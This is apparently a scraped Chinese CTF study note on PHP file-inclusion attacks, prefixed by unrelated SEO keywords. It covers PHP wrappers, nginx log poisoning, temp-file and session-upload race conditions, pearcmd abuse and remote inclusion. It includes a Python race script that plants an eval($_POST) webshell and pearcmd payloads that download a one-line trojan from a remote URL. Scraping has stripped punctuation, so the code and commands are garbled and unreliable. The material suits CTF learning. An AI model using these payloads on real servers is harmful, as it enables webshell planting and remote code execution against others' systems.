服务器网站绑定域名,网站建设微站,网站建设的相关资料,信息系统开发流程文章目录 基础概念php伪协议什么是协议协议的格式php中的协议file协议http协议ftp协议php://input协议php://filter协议php://data协议 php文件上传机制高级文件包含nginx文件日志包含临时文件包含session文件包含pear文件包含远程文件包含 基础概念
文件包含#xff0c;相当… 文章目录 基础概念php伪协议什么是协议协议的格式php中的协议file协议http协议ftp协议php://input协议php://filter协议php://data协议 php文件上传机制高级文件包含nginx文件日志包含临时文件包含session文件包含pear文件包含远程文件包含 基础概念
文件包含相当于c语言中的#include即通过头文件就可以调用文件中的代码 文件包含最基础的作用就是读取非php类型的文件 php常见的文件包含语言结构
include ‘path’,包含这个文件如果文件没了也不影响继续往下执行require包含必须成功失败则会报错require_once:与 require 相似都是用于包含并执行指定的 PHP 文件但它确保该文件在脚本中只会被包含 一次。如果该文件已经被包含过require_once 就不会再包含它。include_once:类似require_once
php伪协议
伪协议即只能在php里面用在其他地方用不了
什么是协议 协议的格式
协议头://内容
php中的协议 file协议 相对路径和绝对路径 . . / ../ ../上层目录 上层目录的特点 每个目录都有上层目录根目录的上层目录是根目录php的文件整理特性www/html/…/www/
http协议
file_get_contens()函数给定url地址通过http协议可以将内容读取include ‘http://’同样可以包含远程地址
ftp协议
默认21端口进行文件传输
php://input协议
在发的http请求中呈现数据最原始的形式如果没有php标记就会当作文本文档呈现如果有php语法标记则会执行代码的内容
php://filter协议
通过协议自带的编码解码绕过 filephp://filter/writeconvert.base64-decode/resource1.php 将解码后的内容写入1.php文件 同样可以用writestring.rot13绕过死亡代码 php://data协议
到这里感觉到了各协议其实都可以用于执行自己写的php代码以data协议为例 data://,?php phpinfo(); ? php文件上传机制
可以强制向网页上传文件上传的文件存放在/tmp/php???的一个地方临时文件在脚本执行完后就被删除所以应该用bp抓包并将最后一位匹配大写字母[-[]
高级文件包含
nginx文件日志包含
nginx可以认为是http的服务器软件提供了http服务并默认监听80端口如果接收到php文件就将它转发到9000端口9000端口由另一个服务器端软件监听叫做php-fpm它提供解析php代码的作用并将执行结果返回给nginxnginx将执行结果返回客户端这个客户端也就是浏览器
日志包含就是通过将恶意代码通过user-agent等方式传入日志中再包含日志就会执行其中的php代码 日志文件默认路径 \var\log\nginx\access.log 注意代码一定不要写错否则报错了就只能重置环境 临时文件包含
注意不能用通配符
上传的文件放在$_FILES这个超全局变量里包括上传的php脚本如果能找到这个php脚本在上传文件中的名字和位置就可以利用文件包含执行这个脚本但是在上传脚本执行完之后攻击脚本就会自动删除所以需要在脚本执行期间完成文件包含php返回数据的特点一段一段返回每4096个字符返回一次所以可以在返回字符中一直读取一旦读到tmp_name就立刻进行包含,即phpinfo lfi
session文件包含
session根据cookie管理临时文件
如果将恶意代码注入session所在的临时文件就可以实现与临时文件包含类似的效果
import requests
import threading
sessionrequests.session()
sessctfshow
file_name/var/www/html/1.php
file_contents?php eval($_POST[1];?)
urlhttp
data{PHP_SESSION_UPLOAD_PROGRESS:f?php echo success;file_put_contents({file_name},{file_contents})?
}file{file:ctfshow
}cookies{PHPSESSID:ctfshow
}def write():while True:rsession.post(urlurl,datadata,filesfile,cookiescookies)def read():while True:rsession.post(urlurl?file../../../../../tmp/sess_ctfshow)if success in r.text:print(shell地址为:url/1.php)exit() pear文件包含
使用条件
有文件包含点开启了pear扩展配置中register_argc_argv设置为on而默认为off
利用方式1利用扩展远程下载一句话木马 url?file/user/loca/lib/php/pearcmd.phpxinstall-R/var/www/html(本地地址)url(远程下载地址) 利用方式2生成配置文件在配置项中含恶意代码 url?file/user/loca/lib/php/pearcmd.php-c\tmp\a.php-dman_dir?php eval($_POST[1]);?-s 远程文件包含
类似远程文件下载必要时可用域名转数字